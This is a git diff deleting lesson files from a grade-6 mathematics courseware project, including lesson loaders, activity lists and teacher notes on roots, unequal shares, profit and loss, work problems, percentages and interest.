diff --git a/Save_Mathematics/P6/map612m01/map612m01a05/description.py b/Save_Mathematics/P6/map612m01/map612m01a05/description.py
deleted file mode 100644
index b726179..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m01a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m01/map612m01a05/lesson.js b/Save_Mathematics/P6/map612m01/map612m01a05/lesson.js
deleted file mode 100644
index 6ca08d5..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m01/map612m01a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m01/map612m01a05/source.txt b/Save_Mathematics/P6/map612m01/map612m01a05/source.txt
deleted file mode 100644
index 0a6ab30..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a05/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Enrichment
-
-The student will be shown a graph of y = x2 to illustrate how rapidly the area increases as the length of a side.
-
-The student will be asked to consider how to find the side of a square where the area is not a perfect square.
-
-The student will be asked to consider finding the cubic root representing the volume of a cube.
-
-The student will be shown a graph of y = x, y = x2, and y = x3 for comparsion.
-
-The student will be introduced to the standard symbol for roots
diff --git a/Save_Mathematics/P6/map612m02/activities.js b/Save_Mathematics/P6/map612m02/activities.js
deleted file mode 100644
index 7be93e3..0000000
--- a/Save_Mathematics/P6/map612m02/activities.js
+++ /dev/null
@@ -1,8 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m02a01','blue'],
-['2','2','map6','basic','map612m02a02','blue'],
-['3','3','map6','basic','map612m02a03','blue'],
-['4','4','map6','basic','map612m02a04','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m02/map612m02a01/a.txt b/Save_Mathematics/P6/map612m02/map612m02a01/a.txt
deleted file mode 100644
index 6b84105..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a01/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Introduction
-
-Introduction
-
-Give an example of each type of unequal share problem. Ask the student to find the answer.
-
-Suggest that there should be a standard way to solve these problems more quickly and accurately. 
diff --git a/Save_Mathematics/P6/map612m02/map612m02a01/description.py b/Save_Mathematics/P6/map612m02/map612m02a01/description.py
deleted file mode 100644
index 673dd30..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m02a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m02/map612m02a01/lesson.js b/Save_Mathematics/P6/map612m02/map612m02a01/lesson.js
deleted file mode 100644
index 55ed0ca..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m02/map612m02a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m02/map612m02a01/source.txt b/Save_Mathematics/P6/map612m02/map612m02a01/source.txt
deleted file mode 100644
index 6b84105..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a01/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Introduction
-
-Introduction
-
-Give an example of each type of unequal share problem. Ask the student to find the answer.
-
-Suggest that there should be a standard way to solve these problems more quickly and accurately. 
diff --git a/Save_Mathematics/P6/map612m02/map612m02a02/a.txt b/Save_Mathematics/P6/map612m02/map612m02a02/a.txt
deleted file mode 100644
index 78e1151..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a02/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduction
-
-Give problems in unequal shares. Show that in each case we have something divided into a number of parts. We need to find the total number of parts and then the number of those parts in each share. Finally, we need to check that the answer meets the conditions of the problem.
diff --git a/Save_Mathematics/P6/map612m02/map612m02a02/description.py b/Save_Mathematics/P6/map612m02/map612m02a02/description.py
deleted file mode 100644
index b0ef7c1..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m02a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m02/map612m02a02/lesson.js b/Save_Mathematics/P6/map612m02/map612m02a02/lesson.js
deleted file mode 100644
index 6578967..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m02/map612m02a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m02/map612m02a02/source.txt b/Save_Mathematics/P6/map612m02/map612m02a02/source.txt
deleted file mode 100644
index 78e1151..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a02/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduction
-
-Give problems in unequal shares. Show that in each case we have something divided into a number of parts. We need to find the total number of parts and then the number of those parts in each share. Finally, we need to check that the answer meets the conditions of the problem.
diff --git a/Save_Mathematics/P6/map612m02/map612m02a03/a.txt b/Save_Mathematics/P6/map612m02/map612m02a03/a.txt
deleted file mode 100644
index 3b7e09b..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a03/a.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Guided Practice
-
-Give problems in unequal shares.
-
-If the student provides an incorrect answer,
-
-a) the computer will show that the answer does not meet the conditions of the problem
-
-b) the computer will show the procedure to find the solution
diff --git a/Save_Mathematics/P6/map612m02/map612m02a03/description.py b/Save_Mathematics/P6/map612m02/map612m02a03/description.py
deleted file mode 100644
index 219ae33..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m02a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m02/map612m02a03/lesson.js b/Save_Mathematics/P6/map612m02/map612m02a03/lesson.js
deleted file mode 100644
index 403d594..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m02/map612m02a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m02/map612m02a03/source.txt b/Save_Mathematics/P6/map612m02/map612m02a03/source.txt
deleted file mode 100644
index 3b7e09b..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a03/source.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Guided Practice
-
-Give problems in unequal shares.
-
-If the student provides an incorrect answer,
-
-a) the computer will show that the answer does not meet the conditions of the problem
-
-b) the computer will show the procedure to find the solution
diff --git a/Save_Mathematics/P6/map612m02/map612m02a04/a.txt b/Save_Mathematics/P6/map612m02/map612m02a04/a.txt
deleted file mode 100644
index c3aa1ac..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a04/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The student will be given a set of problems in unequal shares, at least one of each type 
diff --git a/Save_Mathematics/P6/map612m02/map612m02a04/description.py b/Save_Mathematics/P6/map612m02/map612m02a04/description.py
deleted file mode 100644
index 75e9807..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m02a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m02/map612m02a04/lesson.js b/Save_Mathematics/P6/map612m02/map612m02a04/lesson.js
deleted file mode 100644
index b203b0e..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m02/map612m02a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m02/map612m02a04/source.txt b/Save_Mathematics/P6/map612m02/map612m02a04/source.txt
deleted file mode 100644
index c3aa1ac..0000000
--- a/Save_Mathematics/P6/map612m02/map612m02a04/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The student will be given a set of problems in unequal shares, at least one of each type 
diff --git a/Save_Mathematics/P6/map612m03/activities.js b/Save_Mathematics/P6/map612m03/activities.js
deleted file mode 100644
index 640f448..0000000
--- a/Save_Mathematics/P6/map612m03/activities.js
+++ /dev/null
@@ -1,13 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m03a01','blue'],
-['2','2','map6','basic','map612m03a02','blue'],
-['3','3','map6','basic','map612m03a03','blue'],
-['4','4','map6','basic','map612m03a04','blue'],
-['5','5','map6','basic','map612m03a05','blue'],
-['6','6','map6','basic','map612m03a06','blue'],
-['7','7','map6','basic','map612m03a07','blue'],
-['8','8','map6','basic','map612m03a08','blue'],
-['9','9','map6','basic','map612m03a09','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m03/map612m03a01/a.txt b/Save_Mathematics/P6/map612m03/map612m03a01/a.txt
deleted file mode 100644
index 17a05b2..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a01/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduce the terms: cost and selling price, profit, loss
-
-Show some example transactions and determine profit or loss.
diff --git a/Save_Mathematics/P6/map612m03/map612m03a01/description.py b/Save_Mathematics/P6/map612m03/map612m03a01/description.py
deleted file mode 100644
index fd996f1..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a01/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a01/lesson.js
deleted file mode 100644
index 7a8612c..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a01/source.txt b/Save_Mathematics/P6/map612m03/map612m03a01/source.txt
deleted file mode 100644
index 17a05b2..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a01/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduce the terms: cost and selling price, profit, loss
-
-Show some example transactions and determine profit or loss.
diff --git a/Save_Mathematics/P6/map612m03/map612m03a02/a.txt b/Save_Mathematics/P6/map612m03/map612m03a02/a.txt
deleted file mode 100644
index bb59faf..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a02/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Guided Practice
-
-Give problems in determining profit or loss from a transaction.
-
-If the answer is incorrect, show the method to find the correct solution.
diff --git a/Save_Mathematics/P6/map612m03/map612m03a02/description.py b/Save_Mathematics/P6/map612m03/map612m03a02/description.py
deleted file mode 100644
index 7391d06..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a02/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a02/lesson.js
deleted file mode 100644
index d1dcedf..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a02/source.txt b/Save_Mathematics/P6/map612m03/map612m03a02/source.txt
deleted file mode 100644
index bb59faf..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a02/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Guided Practice
-
-Give problems in determining profit or loss from a transaction.
-
-If the answer is incorrect, show the method to find the correct solution.
diff --git a/Save_Mathematics/P6/map612m03/map612m03a03/a.txt b/Save_Mathematics/P6/map612m03/map612m03a03/a.txt
deleted file mode 100644
index 9bad736..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give a set of problems involving determining profit or loss from a transaction. 
diff --git a/Save_Mathematics/P6/map612m03/map612m03a03/description.py b/Save_Mathematics/P6/map612m03/map612m03a03/description.py
deleted file mode 100644
index 21fde36..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a03/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a03/lesson.js
deleted file mode 100644
index d012be0..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a03/source.txt b/Save_Mathematics/P6/map612m03/map612m03a03/source.txt
deleted file mode 100644
index 9bad736..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give a set of problems involving determining profit or loss from a transaction. 
diff --git a/Save_Mathematics/P6/map612m03/map612m03a04/a.txt b/Save_Mathematics/P6/map612m03/map612m03a04/a.txt
deleted file mode 100644
index 1aae0b8..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a04/a.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Introduction
-
-Give some example problems involving estimating the time required to peform a task. Ask the student to give solutions. Suggest that there is a standard way to deal with such problems. Show some examples.
-
-For example,
-
-It takes four men three days to prepare the stadium for a match. How many many would be needed to do the job in one day?
-
-We have 4 men x 3 days = 12 man-days = 12 men x 1 day
diff --git a/Save_Mathematics/P6/map612m03/map612m03a04/description.py b/Save_Mathematics/P6/map612m03/map612m03a04/description.py
deleted file mode 100644
index f8cabf7..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a04/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a04/lesson.js
deleted file mode 100644
index 4afefb6..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a04/source.txt b/Save_Mathematics/P6/map612m03/map612m03a04/source.txt
deleted file mode 100644
index 1aae0b8..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a04/source.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Introduction
-
-Give some example problems involving estimating the time required to peform a task. Ask the student to give solutions. Suggest that there is a standard way to deal with such problems. Show some examples.
-
-For example,
-
-It takes four men three days to prepare the stadium for a match. How many many would be needed to do the job in one day?
-
-We have 4 men x 3 days = 12 man-days = 12 men x 1 day
diff --git a/Save_Mathematics/P6/map612m03/map612m03a05/a.txt b/Save_Mathematics/P6/map612m03/map612m03a05/a.txt
deleted file mode 100644
index c995c95..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a05/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-Give the student problems involving equivalent work. If the answer is incorrect, show the method for arriving at a correct solution. 
diff --git a/Save_Mathematics/P6/map612m03/map612m03a05/description.py b/Save_Mathematics/P6/map612m03/map612m03a05/description.py
deleted file mode 100644
index 3c5ea2f..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a05/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a05/lesson.js
deleted file mode 100644
index 4accbb1..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a05/source.txt b/Save_Mathematics/P6/map612m03/map612m03a05/source.txt
deleted file mode 100644
index c995c95..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a05/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-Give the student problems involving equivalent work. If the answer is incorrect, show the method for arriving at a correct solution. 
diff --git a/Save_Mathematics/P6/map612m03/map612m03a06/a.txt b/Save_Mathematics/P6/map612m03/map612m03a06/a.txt
deleted file mode 100644
index 7f80868..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a06/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problems involving equivalent work. 
diff --git a/Save_Mathematics/P6/map612m03/map612m03a06/description.py b/Save_Mathematics/P6/map612m03/map612m03a06/description.py
deleted file mode 100644
index b0aae20..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a06/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a06/lesson.js
deleted file mode 100644
index 53d988c..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a06/source.txt b/Save_Mathematics/P6/map612m03/map612m03a06/source.txt
deleted file mode 100644
index 7f80868..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a06/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Give the student a set of problems involving equivalent work. 
diff --git a/Save_Mathematics/P6/map612m03/map612m03a07/a.txt b/Save_Mathematics/P6/map612m03/map612m03a07/a.txt
deleted file mode 100644
index 8bdd548..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a07/a.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-Introduction
-
-Introduce percentage as dividing a quantity into 100 parts, where 100% represents the total amount or 100 parts.
-
-Show how to determine the total, given a percentage increase or decrease.
-Show that a 20% increase followed by a 20% decrease does not give the original number.
-
-For example, suppose there are 100 kg of flour. A 20% increase in the amount of flour would give 120kg since each 1% represents 1kg. However a 20% decrease in 120kg of flour means each 1% is 1.2kg and the decrease is 24kg. This total is 96kg!
-
-Show examples of determining the percentage of profit or loss, determining the savings from a percentage discount, the new price after a percentage increase.
diff --git a/Save_Mathematics/P6/map612m03/map612m03a07/description.py b/Save_Mathematics/P6/map612m03/map612m03a07/description.py
deleted file mode 100644
index a6fc1db..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a07/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a07/lesson.js
deleted file mode 100644
index 82284cc..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a07/source.txt b/Save_Mathematics/P6/map612m03/map612m03a07/source.txt
deleted file mode 100644
index 8bdd548..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a07/source.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-Introduction
-
-Introduce percentage as dividing a quantity into 100 parts, where 100% represents the total amount or 100 parts.
-
-Show how to determine the total, given a percentage increase or decrease.
-Show that a 20% increase followed by a 20% decrease does not give the original number.
-
-For example, suppose there are 100 kg of flour. A 20% increase in the amount of flour would give 120kg since each 1% represents 1kg. However a 20% decrease in 120kg of flour means each 1% is 1.2kg and the decrease is 24kg. This total is 96kg!
-
-Show examples of determining the percentage of profit or loss, determining the savings from a percentage discount, the new price after a percentage increase.
diff --git a/Save_Mathematics/P6/map612m03/map612m03a08/a.txt b/Save_Mathematics/P6/map612m03/map612m03a08/a.txt
deleted file mode 100644
index 84798f4..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a08/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-Show examples of determining the percentage of profit or loss, determining the savings from a percentage discount, the new price after a percentage increase. If the student's answer is incorrect, dervive the solution following the method shown in the introduction.
diff --git a/Save_Mathematics/P6/map612m03/map612m03a08/description.py b/Save_Mathematics/P6/map612m03/map612m03a08/description.py
deleted file mode 100644
index 6bd87b5..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a08/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a08/lesson.js
deleted file mode 100644
index 8614053..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a08/source.txt b/Save_Mathematics/P6/map612m03/map612m03a08/source.txt
deleted file mode 100644
index 84798f4..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a08/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-Show examples of determining the percentage of profit or loss, determining the savings from a percentage discount, the new price after a percentage increase. If the student's answer is incorrect, dervive the solution following the method shown in the introduction.
diff --git a/Save_Mathematics/P6/map612m03/map612m03a09/a.txt b/Save_Mathematics/P6/map612m03/map612m03a09/a.txt
deleted file mode 100644
index 71a24a0..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a09/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The student will be given a set of problems involving percentage increase and decrease. 
diff --git a/Save_Mathematics/P6/map612m03/map612m03a09/description.py b/Save_Mathematics/P6/map612m03/map612m03a09/description.py
deleted file mode 100644
index 69e2254..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a09/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m03a09',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m03/map612m03a09/lesson.js b/Save_Mathematics/P6/map612m03/map612m03a09/lesson.js
deleted file mode 100644
index 9508c50..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a09/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m03/map612m03a09/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m03/map612m03a09/source.txt b/Save_Mathematics/P6/map612m03/map612m03a09/source.txt
deleted file mode 100644
index 71a24a0..0000000
--- a/Save_Mathematics/P6/map612m03/map612m03a09/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The student will be given a set of problems involving percentage increase and decrease. 
diff --git a/Save_Mathematics/P6/map612m04/activities.js b/Save_Mathematics/P6/map612m04/activities.js
deleted file mode 100644
index 2084578..0000000
--- a/Save_Mathematics/P6/map612m04/activities.js
+++ /dev/null
@@ -1,11 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m04a01','blue'],
-['2','2','map6','basic','map612m04a02','blue'],
-['3','3','map6','basic','map612m04a03','blue'],
-['4','4','map6','basic','map612m04a04','blue'],
-['5','5','map6','basic','map612m04a05','blue'],
-['6','6','map6','basic','map612m04a06','blue'],
-['7','7','map6','basic','map612m04a07','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m04/map612m04a01/a.txt b/Save_Mathematics/P6/map612m04/map612m04a01/a.txt
deleted file mode 100644
index 3ec5115..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a01/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-Introduce interest as the cost-price of money. Introduce the terms: principal and interest rate. Show examples of determining the interest given the principal, the rate, and the time. 
diff --git a/Save_Mathematics/P6/map612m04/map612m04a01/description.py b/Save_Mathematics/P6/map612m04/map612m04a01/description.py
deleted file mode 100644
index 7c75dd1..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m04a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m04/map612m04a01/lesson.js b/Save_Mathematics/P6/map612m04/map612m04a01/lesson.js
deleted file mode 100644
index d2066b9..0000000
--- a/Save_Mathematics/P6/map612m04/map612m04a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m04/map612m04a01/a.txt'},
-     function(){
-    });
-};
-
